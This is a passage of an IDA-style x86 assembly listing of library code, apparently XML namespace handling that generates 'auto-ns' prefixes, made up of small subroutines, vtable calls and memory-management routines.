sub_69B76449 endp
; =============== S U B R O U T I N E =======================================
sub_69B76463 proc near ; DATA XREF: .text:69B1A6A4o
arg_0 = dword ptr 4
cmp byte ptr [ecx+30h], 0
jz short loc_69B7647E
mov eax, [esp+arg_0]
push dword ptr [eax+8]
mov ecx, [ecx+34h]
push dword ptr [eax+0Ch]
call sub_69B76430
retn 4
; ---------------------------------------------------------------------------
loc_69B7647E: ; CODE XREF: sub_69B76463+4j
mov ecx, [ecx+10h]
mov eax, [ecx]
jmp dword ptr [eax+44h]
sub_69B76463 endp
; =============== S U B R O U T I N E =======================================
sub_69B76486 proc near ; DATA XREF: .text:69B1A6A8o
cmp byte ptr [ecx+30h], 0
jz short loc_69B76491
mov ecx, [ecx+34h]
jmp short sub_69B76430
; ---------------------------------------------------------------------------
loc_69B76491: ; CODE XREF: sub_69B76486+4j
mov ecx, [ecx+10h]
mov eax, [ecx]
jmp dword ptr [eax+48h]
sub_69B76486 endp
; =============== S U B R O U T I N E =======================================
sub_69B76499 proc near ; DATA XREF: .text:69B1A6ACo
arg_0 = dword ptr 4
push edi
mov edi, ecx
cmp byte ptr [edi+30h], 0
jz short loc_69B764CC
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
push esi
push 1
push 4
call dword ptr [eax+4Ch]
mov ecx, [edi+34h]
mov esi, eax
push dword ptr [esi+8]
push dword ptr [esi+0Ch]
call sub_69B76430
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+30h]
pop esi
pop edi
retn 4
; ---------------------------------------------------------------------------
loc_69B764CC: ; CODE XREF: sub_69B76499+7j
mov ecx, [edi+10h]
mov eax, [ecx]
pop edi
jmp dword ptr [eax+4Ch]
sub_69B76499 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B764D5 proc near ; CODE XREF: sub_69B766CB+43p
String = word ptr -28h
var_1A = byte ptr -1Ah
var_18 = byte ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 28h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push esi
push edi
mov esi, offset aAutoNs ; "auto-ns"
lea edi, [ebp+String]
movsd
movsd
push [ebp+arg_4]
movsd
movsd
mov [ebp+var_4], eax
xor eax, eax
lea edi, [ebp+var_18]
stosd
stosd
stosd
stosd
mov ebx, ecx
mov ecx, [ebx+24h]
stosd
call sub_69B1980A
mov esi, eax
test esi, esi
jz short loc_69B76517
cmp esi, [ebp+arg_0]
jnz short loc_69B76540
loc_69B76517: ; CODE XREF: sub_69B764D5+3Bj
inc dword ptr [ebx+10h]
mov eax, [ebx+10h]
push 0Ah
lea ecx, [ebp+var_1A]
push ecx
push eax
call sub_69B2F579
lea eax, [ebp+String]
push eax ; lpString
call sub_69B2FADA
mov ecx, [ebx+24h]
mov esi, eax
push esi
push [ebp+arg_4]
call sub_69B3182D
loc_69B76540: ; CODE XREF: sub_69B764D5+40j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
pop edi
mov eax, esi
pop esi
pop ebx
call sub_69B1B9F6
leave
retn 8
sub_69B764D5 endp
; ---------------------------------------------------------------------------
aAutoNs: ; DATA XREF: sub_69B764D5+11o
unicode 0, <auto-ns>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B76564 proc near ; CODE XREF: sub_69B76755+1Ap
; sub_69B76AFB+113p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push 0
push 0
push [ebp+arg_0]
mov esi, ecx
mov ecx, [esi+20h]
call sub_69B4D2DF
cmp eax, [ebp+arg_4]
jz short loc_69B76596
push dword ptr [esi+14h]
mov ecx, [esi+20h]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B4DCB3
mov al, 1
jmp short loc_69B76598
; ---------------------------------------------------------------------------
loc_69B76596: ; CODE XREF: sub_69B76564+18j
xor al, al
loc_69B76598: ; CODE XREF: sub_69B76564+30j
pop esi
pop ebp
retn 0Ch
sub_69B76564 endp
; =============== S U B R O U T I N E =======================================
sub_69B7659D proc near ; CODE XREF: sub_69B76A2E+63p
; sub_69B76A2E:loc_69B76AA4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push [esp+4+arg_0]
mov esi, ecx
mov ecx, [esi+18h]
mov eax, [ecx]
push 0Fh
call dword ptr [eax+38h]
push [esp+4+arg_8]
mov ecx, [esi+18h]
push [esp+8+arg_4]
mov eax, [ecx]
call dword ptr [eax+48h]
mov ecx, [esi+18h]
mov eax, [ecx]
push 0
push [esp+8+arg_0]
push 0Fh
call dword ptr [eax+3Ch]
pop esi
retn 0Ch
sub_69B7659D endp
; =============== S U B R O U T I N E =======================================
sub_69B765D2 proc near ; DATA XREF: .text:69B1436Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, [esp+8+arg_0]
push 5
pop ecx
rep movsd
pop edi
pop esi
retn 8
sub_69B765D2 endp
; =============== S U B R O U T I N E =======================================
sub_69B765E6 proc near ; DATA XREF: .text:69B14368o
push 14h
pop eax
retn
sub_69B765E6 endp
; =============== S U B R O U T I N E =======================================
sub_69B765EA proc near ; CODE XREF: sub_69B7681F+33p
arg_0 = dword ptr 4
mov eax, [ecx+14h]
mov edx, [ecx+18h]
push esi
add eax, 0Ch
jmp short loc_69B76606
; ---------------------------------------------------------------------------
loc_69B765F6: ; CODE XREF: sub_69B765EA+21j
mov eax, [ecx+1Ch]
mov esi, [esp+4+arg_0]
dec edx
cmp esi, [eax+4]
jz short loc_69B76613
add eax, 14h
loc_69B76606: ; CODE XREF: sub_69B765EA+Aj
test edx, edx
mov [ecx+1Ch], eax
jnz short loc_69B765F6
xor al, al
loc_69B7660F: ; CODE XREF: sub_69B765EA+2Bj
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B76613: ; CODE XREF: sub_69B765EA+17j
mov al, 1
jmp short loc_69B7660F
sub_69B765EA endp
; =============== S U B R O U T I N E =======================================
sub_69B76617 proc near ; CODE XREF: sub_69B76A2E+20p
; sub_69B76A2E+7Ep
add dword ptr [ecx+1Ch], 14h
mov eax, [ecx+18h]
mov edx, [ecx+1Ch]
mov ecx, [ecx+14h]
lea eax, [eax+eax*4]
lea eax, [ecx+eax*4+0Ch]
cmp edx, eax
setb al
retn
sub_69B76617 endp
; =============== S U B R O U T I N E =======================================
sub_69B76631 proc near ; CODE XREF: sub_69B7681F+16p
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov edi, ecx
push 10h
call sub_69B76449
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_69B76657
mov ecx, esi
call sub_69B19118
mov dword ptr [esi], offset off_69B14330
jmp short loc_69B76659
; ---------------------------------------------------------------------------
loc_69B76657: ; CODE XREF: sub_69B76631+15j
xor esi, esi
loc_69B76659: ; CODE XREF: sub_69B76631+24j
push 0
push edi
push dword ptr [edi+8]
mov ecx, esi
push 0
call sub_69B2E6E3
pop edi
mov eax, esi
pop esi
retn 4
sub_69B76631 endp
; =============== S U B R O U T I N E =======================================
sub_69B7666F proc near ; DATA XREF: .text:69B1A66Co
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B7693D
sub_69B7666F endp
; =============== S U B R O U T I N E =======================================
sub_69B76677 proc near ; CODE XREF: sub_69B768D1+3j
; DATA XREF: .text:69B1A6E8o
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
lea eax, [esi+20h]
push eax
call sub_69B17320
push edi
lea eax, [esi+24h]
push eax
call sub_69B17320
push edi
lea eax, [esi+28h]
push eax
call sub_69B17320
push edi
lea eax, [esi+3Ch]
push eax
mov [esi+2Ch], edi
call sub_69B17320
lea ecx, [esi+8]
mov eax, [ecx]
pop edi
pop esi
jmp dword ptr [eax+50h]
sub_69B76677 endp
; =============== S U B R O U T I N E =======================================
sub_69B766B2 proc near ; DATA XREF: .text:69B1A6B0o
push esi
lea esi, [ecx+10h]
mov ecx, [esi]
test ecx, ecx
jz short loc_69B766C9
mov eax, [ecx]
call dword ptr [eax+50h]
push 0
push esi
call sub_69B17320
loc_69B766C9: ; CODE XREF: sub_69B766B2+8j
pop esi
retn
sub_69B766B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B766CB proc near ; CODE XREF: sub_69B76AFB+D7p
; sub_69B76AFB+132p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_69B95A18
push ebx
push esi
mov esi, [ebp+arg_0]
test esi, esi
push edi
mov edi, ecx
mov [ebp+var_4], esi
mov byte ptr [ebp+arg_0+3], 0
jnz short loc_69B766E9
mov esi, eax
loc_69B766E9: ; CODE XREF: sub_69B766CB+1Aj
mov ebx, [ebp+arg_4]
test ebx, ebx
jnz short loc_69B766F2
mov ebx, eax
loc_69B766F2: ; CODE XREF: sub_69B766CB+23j
cmp [ebp+arg_8], 0
jnz short loc_69B76704
cmp esi, eax
jnz short loc_69B76704
test ebx, ebx
jz short loc_69B76704
loc_69B76700: ; CODE XREF: sub_69B766CB+59j
mov byte ptr [ebp+arg_0+3], 1
loc_69B76704: ; CODE XREF: sub_69B766CB+2Bj
; sub_69B766CB+2Fj ...
cmp byte ptr [ebp+arg_0+3], 0
jz short loc_69B7671C
loc_69B7670A: ; CODE XREF: sub_69B766CB+74j
push ebx
push esi
mov ecx, edi
call sub_69B764D5
mov esi, eax
mov [ebp+var_4], esi
mov byte ptr [ebp+arg_0+3], 0
loc_69B7671C: ; CODE XREF: sub_69B766CB+3Dj
cmp esi, [edi+30h]
jnz short loc_69B76726
cmp ebx, [edi+34h]
jnz short loc_69B76700
loc_69B76726: ; CODE XREF: sub_69B766CB+54j
mov ecx, [edi+28h]
push esi
call sub_69B1980A
test eax, eax
jz short loc_69B7673B
cmp ebx, eax
jz short loc_69B7673B
mov byte ptr [ebp+arg_0+3], 1
loc_69B7673B: ; CODE XREF: sub_69B766CB+66j
; sub_69B766CB+6Aj
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_69B7670A
mov ecx, [edi+28h]
push ebx
push esi
call sub_69B3182D
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B766CB endp
; =============== S U B R O U T I N E =======================================
sub_69B76755 proc near ; CODE XREF: sub_69B76A2E+Cp
; sub_69B76A2E+6Fp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
mov ebx, [eax+0Ch]
push esi
push edi
mov edi, [eax+10h]
mov esi, ecx
mov ecx, [eax+8]
mov ecx, [ecx+10h]
push edi
push ecx
push ebx
mov ecx, esi
call sub_69B76564
test al, al
jz short loc_69B767DC
test ebx, ebx
jz short loc_69B76785
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+2Ch]
jmp short loc_69B7678A
; ---------------------------------------------------------------------------
loc_69B76785: ; CODE XREF: sub_69B76755+25j
mov eax, offset off_69B1A5AC
loc_69B7678A: ; CODE XREF: sub_69B76755+2Ej
push dword_69B95A6C
mov edx, dword_69B95A5C
mov ecx, [esi+20h]
push edx
push edx
push eax
call sub_69B4D7A3
mov ecx, [esi+18h]
mov ebx, eax
mov eax, [ecx]
push ebx
push 0Fh
call dword ptr [eax+38h]
test edi, edi
jz short loc_69B767CF
mov edx, [edi]
push ebp
mov ebp, [esi+18h]
mov eax, [ebp+0]
mov ecx, edi
mov [esp+10h+arg_0], eax
call dword ptr [edx+2Ch]
push eax
mov eax, [esp+14h+arg_0]
mov ecx, ebp
call dword ptr [eax+44h]
pop ebp
loc_69B767CF: ; CODE XREF: sub_69B76755+5Bj
mov ecx, [esi+18h]
mov eax, [ecx]
push 0
push ebx
push 0Fh
call dword ptr [eax+3Ch]
loc_69B767DC: ; CODE XREF: sub_69B76755+21j
pop edi
pop esi
pop ebx
retn 4
sub_69B76755 endp
; =============== S U B R O U T I N E =======================================
sub_69B767E2 proc near ; CODE XREF: sub_69B769A0+17p
push edi
lea edi, [ecx+14h]
xor eax, eax
cmp [edi], eax
jz short loc_69B767F4
mov [ecx+8], eax
mov [ecx+18h], eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_69B767F4: ; CODE XREF: sub_69B767E2+8j
push esi
push 150h
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov dword ptr [esi+8], 10h
call sub_69B19118
push esi
push edi
mov dword ptr [esi], offset off_69B14330
call sub_69B17320
pop esi
pop edi
retn
sub_69B767E2 endp
; =============== S U B R O U T I N E =======================================
sub_69B7681F proc near ; CODE XREF: sub_69B769A0+6Ep
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+14h]
mov ecx, [edi]
mov eax, [ecx+8]
cmp [esi+18h], eax
jl short loc_69B76841
shl eax, 2
push eax
call sub_69B76631
push eax
push edi
call sub_69B17320
loc_69B76841: ; CODE XREF: sub_69B7681F+10j
cmp [esp+0Ch+arg_4], 0
mov eax, [esp+0Ch+arg_0]
mov ebx, [eax+8]
jz short loc_69B7685B
push ebx
mov ecx, esi
call sub_69B765EA
test al, al
jnz short loc_69B7686E
loc_69B7685B: ; CODE XREF: sub_69B7681F+2Ej
mov eax, [esi+18h]
mov edx, [edi]
lea ecx, [eax+eax*4]
lea ecx, [edx+ecx*4+0Ch]
inc eax
mov [esi+1Ch], ecx
mov [esi+18h], eax
loc_69B7686E: ; CODE XREF: sub_69B7681F+3Aj
mov edx, [esp+0Ch+arg_0]
lea eax, [esi+1Ch]
mov ecx, [eax]
mov [ecx], edx
mov ecx, [eax]
mov [ecx+4], ebx
mov ecx, [eax]
mov edx, [esi+8]
mov [ecx+8], edx
mov ecx, [eax]
and dword ptr [ecx+0Ch], 0
mov eax, [eax]
and dword ptr [eax+10h], 0
pop edi
pop esi
pop ebx
retn 8
sub_69B7681F endp
; =============== S U B R O U T I N E =======================================
sub_69B76898 proc near ; CODE XREF: sub_69B76A2E+3Ep
; sub_69B76AFB+73p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [ecx+1Ch]
mov eax, [eax]
mov edx, [esp+arg_0]
mov [edx], eax
mov eax, [ecx+1Ch]
mov eax, [eax+8]
mov edx, [ecx+0Ch]
lea eax, [edx+eax*2+0Ch]
mov edx, [esp+arg_4]
mov [edx], eax
mov eax, [ecx+1Ch]
mov eax, [eax+0Ch]
mov edx, [esp+arg_8]
mov [edx], eax
mov eax, [ecx+1Ch]
mov eax, [eax+10h]
mov ecx, [esp+arg_C]
mov [ecx], eax
retn 10h
sub_69B76898 endp
; =============== S U B R O U T I N E =======================================
sub_69B768D1 proc near ; DATA XREF: .text:69B1A694o
sub ecx, 8
jmp sub_69B76677
sub_69B768D1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B88D77
loc_69B768D9: ; CODE XREF: sub_69B88D77+Dj
push esi
mov esi, ecx
call sub_69B19118
push 10h
mov ecx, esi
mov dword ptr [esi], offset off_69B14370
call sub_69B88CCC
mov eax, esi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_69B88D77
; =============== S U B R O U T I N E =======================================
sub_69B768F4 proc near ; CODE XREF: sub_69B76C95-60622p
; sub_69B88D8C+Dj
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B19118
push [esp+4+arg_0]
mov ecx, esi
mov dword ptr [esi], offset off_69B14370
call sub_69B88CCC
mov eax, esi
pop esi
retn 4
sub_69B768F4 endp
; =============== S U B R O U T I N E =======================================
sub_69B76913 proc near ; CODE XREF: sub_69B76ABA+3p
; sub_69B76AD5+Ep
push esi
mov esi, ecx
lea eax, [esi+0Ch]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B76913 endp
; =============== S U B R O U T I N E =======================================
sub_69B76927 proc near ; DATA XREF: .text:69B166BCo
push esi
mov esi, ecx
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B76927 endp
; =============== S U B R O U T I N E =======================================
sub_69B7693D proc near ; CODE XREF: sub_69B7666F+3j
; DATA XREF: .text:69B1A6C0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B76958
test [esp+4+arg_0], 1
jz short loc_69B76952
push esi
call sub_69B1829F
loc_69B76952: ; CODE XREF: sub_69B7693D+Dj
mov eax, esi
pop esi
retn 4
sub_69B7693D endp
; =============== S U B R O U T I N E =======================================
sub_69B76958 proc near ; CODE XREF: sub_69B7693D+3p
push esi
mov esi, ecx
lea eax, [esi+3Ch]
push eax
call sub_69B17230
lea eax, [esi+28h]
push eax
call sub_69B17230
lea eax, [esi+24h]
push eax
call sub_69B17230
lea eax, [esi+20h]
push eax
call sub_69B17230
lea eax, [esi+18h]
push eax
call sub_69B17230
mov ecx, esi
neg ecx
lea eax, [esi+8]
sbb ecx, ecx
and ecx, eax
call sub_69B18700
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B76958 endp
; =============== S U B R O U T I N E =======================================
sub_69B769A0 proc near ; DATA XREF: .text:69B1A698o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
push esi
push edi
mov edi, [esp+0Ch+arg_4]
mov esi, ecx
jnz short loc_69B769EA
mov ecx, [esi+34h]
inc dword ptr [esi+0Ch]
call sub_69B767E2
mov ecx, [esi+20h]
call sub_69B1C27E
mov [esi+24h], edi
mov eax, [edi+0Ch]
test eax, eax
jnz short loc_69B769D3
mov eax, dword_69B95A18
loc_69B769D3: ; CODE XREF: sub_69B769A0+2Cj
mov [esi+28h], eax
mov eax, [edi+8]
mov eax, [eax+10h]
test eax, eax
jnz short loc_69B769E5
mov eax, dword_69B95A18
loc_69B769E5: ; CODE XREF: sub_69B769A0+3Ej
mov [esi+2Ch], eax
jmp short loc_69B76A1E
; ---------------------------------------------------------------------------
loc_69B769EA: ; CODE XREF: sub_69B769A0+Fj
cmp ebx, 0Fh
jnz short loc_69B76A15
cmp byte ptr [esi+4], 0
jnz short loc_69B76A1E
mov eax, [esp+0Ch+arg_4]
mov byte ptr [esi+30h], 1
mov ecx, [eax+0Ch]
cmp ecx, dword_69B95A6C
setnz cl
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B7681F
jmp short loc_69B76A28
; ---------------------------------------------------------------------------
loc_69B76A15: ; CODE XREF: sub_69B769A0+4Dj
cmp ebx, 12h
jnz short loc_69B76A1E
mov byte ptr [esi+4], 1
loc_69B76A1E: ; CODE XREF: sub_69B769A0+48j
; sub_69B769A0+53j ...
mov ecx, [esi+10h]
mov eax, [ecx]
push edi
push ebx
call dword ptr [eax+38h]
loc_69B76A28: ; CODE XREF: sub_69B769A0+73j
pop edi
pop esi
pop ebx
retn 8
sub_69B769A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B76A2E proc near ; CODE XREF: sub_69B76AFB+18p
; sub_69B76C81+6p
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, ecx
push dword ptr [esi+2Ch]
call sub_69B76755
mov eax, [esi+3Ch]
mov ecx, [eax+14h]
sub ecx, 8
mov [eax+1Ch], ecx
mov ecx, [esi+3Ch]
call sub_69B76617
test al, al
jz short loc_69B76AB7
push ebx
push edi
loc_69B76A59: ; CODE XREF: sub_69B76A2E+85j
mov ecx, [esi+3Ch]
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
call sub_69B76898
test [ebp+var_C], 1
jnz short loc_69B76AA9
mov ebx, [ebp+var_10]
push [ebp+var_4]
mov eax, [ebx+8]
mov edi, [eax+10h]
cmp edi, dword_69B95A5C
push [ebp+var_8]
mov ecx, esi
push ebx
jz short loc_69B76AA4
call sub_69B7659D
test edi, edi
jz short loc_69B76AA9
push ebx
mov ecx, esi
call sub_69B76755
jmp short loc_69B76AA9
; ---------------------------------------------------------------------------
loc_69B76AA4: ; CODE XREF: sub_69B76A2E+61j
call sub_69B7659D
loc_69B76AA9: ; CODE XREF: sub_69B76A2E+47j
; sub_69B76A2E+6Aj ...
mov ecx, [esi+3Ch]
call sub_69B76617
test al, al
jnz short loc_69B76A59
pop edi
pop ebx
loc_69B76AB7: ; CODE XREF: sub_69B76A2E+27j
pop esi
leave
retn
sub_69B76A2E endp
; =============== S U B R O U T I N E =======================================
sub_69B76ABA proc near ; DATA XREF: .text:69B1437Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B76913
test [esp+4+arg_0], 1
jz short loc_69B76ACF
push esi
call sub_69B1829F
loc_69B76ACF: ; CODE XREF: sub_69B76ABA+Dj
mov eax, esi
pop esi
retn 4
sub_69B76ABA endp
; =============== S U B R O U T I N E =======================================
sub_69B76AD5 proc near ; DATA XREF: .text:69B16694o
arg_0 = byte ptr 4
push esi
mov esi, ecx
lea eax, [esi+14h]
push eax
call sub_69B17230
mov ecx, esi
call sub_69B76913
test [esp+4+arg_0], 1
jz short loc_69B76AF5
push esi
call sub_69B1829F
loc_69B76AF5: ; CODE XREF: sub_69B76AD5+18j
mov eax, esi
pop esi
retn 4
sub_69B76AD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B76AFB proc near ; DATA XREF: .text:69B1A69Co
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, [ebp+arg_0]
test edi, edi
mov esi, ecx
jnz short loc_69B76B2B
cmp byte ptr [ebp+arg_8], 0
jnz short loc_69B76B18
lea ecx, [esi-8]
call sub_69B76A2E
loc_69B76B18: ; CODE XREF: sub_69B76AFB+13j
push dword ptr [esi+0Ch]
mov ecx, [esi+18h]
call sub_69B4DDE6
dec dword ptr [esi+0Ch]
jmp loc_69B76C6C
; ---------------------------------------------------------------------------
loc_69B76B2B: ; CODE XREF: sub_69B76AFB+Dj
cmp edi, 0Fh
jnz loc_69B76C63
cmp byte ptr [esi+4], 0
jnz loc_69B76C6C
mov ecx, [esi+34h]
push ebx
push 0
call sub_69B88E7C
mov edi, [ebp+arg_4]
mov ebx, [edi+0Ch]
cmp ebx, dword_69B95A6C
jnz loc_69B76C19
mov ecx, [esi+34h]
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
call sub_69B76898
xor ebx, ebx
cmp [ebp+arg_8], ebx
jz short loc_69B76B96
push [ebp+arg_8]
push [ebp+arg_4]
call sub_69B2FAC8
mov ecx, [esi+18h]
push eax
mov [ebp+arg_4], eax
call sub_69B4DA96
mov [ebp+arg_8], eax
jmp short loc_69B76B9C
; ---------------------------------------------------------------------------
loc_69B76B96: ; CODE XREF: sub_69B76AFB+7Dj
mov [ebp+arg_8], ebx
mov [ebp+arg_4], ebx
loc_69B76B9C: ; CODE XREF: sub_69B76AFB+99j
mov eax, [edi+8]
mov eax, [eax+14h]
mov edi, eax
sub edi, dword_69B95A18
neg edi
sbb edi, edi
and edi, eax
jz short loc_69B76BC9
cmp [ebp+arg_8], ebx
jnz short loc_69B76BC9
loc_69B76BB7: ; CODE XREF: sub_69B76AFB+11Cj
mov eax, [esi+34h]
mov eax, [eax+1Ch]
mov dword ptr [eax+10h], 1
jmp loc_69B76C5C
; ---------------------------------------------------------------------------
loc_69B76BC9: ; CODE XREF: sub_69B76AFB+B5j
; sub_69B76AFB+BAj
push 1
push [ebp+arg_8]
lea ecx, [esi-8]
push edi
call sub_69B766CB
mov ebx, eax
cmp ebx, edi
jz short loc_69B76C04
push dword_69B95A6C
mov eax, dword_69B95A5C
mov edi, [esi+18h]
push eax
push eax
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+2Ch]
push eax
mov ecx, edi
call sub_69B4D7A3
mov ecx, [esi+34h]
mov ecx, [ecx+1Ch]
mov [ecx], eax
loc_69B76C04: ; CODE XREF: sub_69B76AFB+E0j
push [ebp+arg_4]
lea ecx, [esi-8]
push [ebp+arg_8]
push ebx
call sub_69B76564
test al, al
jnz short loc_69B76C5C
jmp short loc_69B76BB7
; ---------------------------------------------------------------------------
loc_69B76C19: ; CODE XREF: sub_69B76AFB+5Aj
mov eax, [edi+8]
mov eax, [eax+10h]
test eax, eax
mov [ebp+arg_8], eax
jz short loc_69B76C5C
push 0
push eax
push ebx
lea ecx, [esi-8]
call sub_69B766CB
cmp eax, ebx
jz short loc_69B76C5C
mov ecx, [edi+8]
mov edi, [edi+10h]
mov ecx, [ecx+14h]
mov ebx, [esi+18h]
push eax
mov eax, [ecx]
push edi
push [ebp+arg_8]
call dword ptr [eax+2Ch]
push eax
mov ecx, ebx
call sub_69B4D7A3
mov ecx, [esi+34h]
mov ecx, [ecx+1Ch]
mov [ecx], eax
loc_69B76C5C: ; CODE XREF: sub_69B76AFB+C9j
; sub_69B76AFB+11Aj ...
mov byte ptr [esi+30h], 0
pop ebx
jmp short loc_69B76C7B
; ---------------------------------------------------------------------------
loc_69B76C63: ; CODE XREF: sub_69B76AFB+33j
cmp edi, 12h
jnz short loc_69B76C6C
mov byte ptr [esi+4], 0
loc_69B76C6C: ; CODE XREF: sub_69B76AFB+2Bj
; sub_69B76AFB+3Dj ...
push [ebp+arg_8]
mov ecx, [esi+10h]
push [ebp+arg_4]
mov eax, [ecx]
push edi
call dword ptr [eax+3Ch]
loc_69B76C7B: ; CODE XREF: sub_69B76AFB+166j
pop edi
pop esi
leave
retn 0Ch
sub_69B76AFB endp
; =============== S U B R O U T I N E =======================================
sub_69B76C81 proc near ; DATA XREF: .text:69B1A6A0o
push esi
mov esi, ecx
lea ecx, [esi-8]
call sub_69B76A2E
mov ecx, [esi+10h]
mov eax, [ecx]
pop esi
jmp dword ptr [eax+40h]
sub_69B76C81 endp
; =============== S U B R O U T I N E =======================================
sub_69B76C95 proc near ; CODE XREF: sub_69B1A5C0+5Fp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B1666C SIZE 0000001C BYTES
push 20h
call sub_69B17EF3
test eax, eax
jz short loc_69B76CA7
mov ecx, eax
jmp loc_69B1666C
; ---------------------------------------------------------------------------
loc_69B76CA7: ; CODE XREF: sub_69B76C95+9j
xor eax, eax
retn 4
sub_69B76C95 endp
; =============== S U B R O U T I N E =======================================
sub_69B76CAC proc near ; CODE XREF: sub_69B76082+1Dp
; sub_69B760B0+A6p
push 40h
call sub_69B17EF3
test eax, eax
jz short loc_69B76CBE
mov ecx, eax
jmp sub_69B1A5C0
; ---------------------------------------------------------------------------
loc_69B76CBE: ; CODE XREF: sub_69B76CAC+9j
xor eax, eax
retn 8
sub_69B76CAC endp
; =============== S U B R O U T I N E =======================================
sub_69B76CC3 proc near ; DATA XREF: .text:69B1678Co
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
mov ecx, [esp+8+arg_0]
mov eax, [ecx]
mov edi, [esi]
push 1
push 4
call dword ptr [eax+4Ch]
push eax
mov ecx, esi
call dword ptr [edi+44h]
pop edi
pop esi
retn 4
sub_69B76CC3 endp
; =============== S U B R O U T I N E =======================================
sub_69B76CE1 proc near ; DATA XREF: .text:69B1674Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub ecx, 8
jmp loc_69B76EA2
; ---------------------------------------------------------------------------
loc_69B76CE9: ; CODE XREF: sub_69B76CE1+1BCj
; DATA XREF: .text:69B167C8o
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+1Ch]
push eax
mov [esi+20h], edi
call sub_69B17320
push edi
lea eax, [esi+10h]
push eax
call sub_69B17320
push edi
add esi, 14h
push esi
call sub_69B17320
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B76D1D: ; CODE XREF: sub_69B76CE1+CDp
; sub_69B76CE1+110p ...
push ebx
push esi
mov esi, ecx
lea eax, [esi+10h]
mov ecx, [eax]
push edi
xor edi, edi
cmp ecx, edi
jz short loc_69B76D38
push edi
push eax
mov ebx, ecx
call sub_69B17320
jmp short loc_69B76D4E
; ---------------------------------------------------------------------------
loc_69B76D38: ; CODE XREF: sub_69B76CE1+4Aj
mov eax, [esi+14h]
cmp [eax+8], edi
jz short loc_69B76D87
push eax
call sub_69B2F0E0
mov ebx, eax
mov eax, [esi+14h]
mov [eax+8], edi
loc_69B76D4E: ; CODE XREF: sub_69B76CE1+55j
cmp ebx, edi
jz short loc_69B76D87
mov ecx, [esi+18h]
mov eax, [ecx]
call dword ptr [eax+44h]
cmp eax, 2
jz short loc_69B76D7C
cmp eax, 6
jz short loc_69B76D7C
cmp eax, 5
jz short loc_69B76D7C
mov ecx, [esi+0Ch]
push 1
push edi
push dword ptr [esi+18h]
push edi
push 1
call sub_69B3D2F2
jmp short loc_69B76D7F
; ---------------------------------------------------------------------------
loc_69B76D7C: ; CODE XREF: sub_69B76CE1+7Cj
; sub_69B76CE1+81j ...
mov eax, [esi+18h]
loc_69B76D7F: ; CODE XREF: sub_69B76CE1+99j
mov edx, [eax]
push ebx
mov ecx, eax
call dword ptr [edx+5Ch]
loc_69B76D87: ; CODE XREF: sub_69B76CE1+5Dj
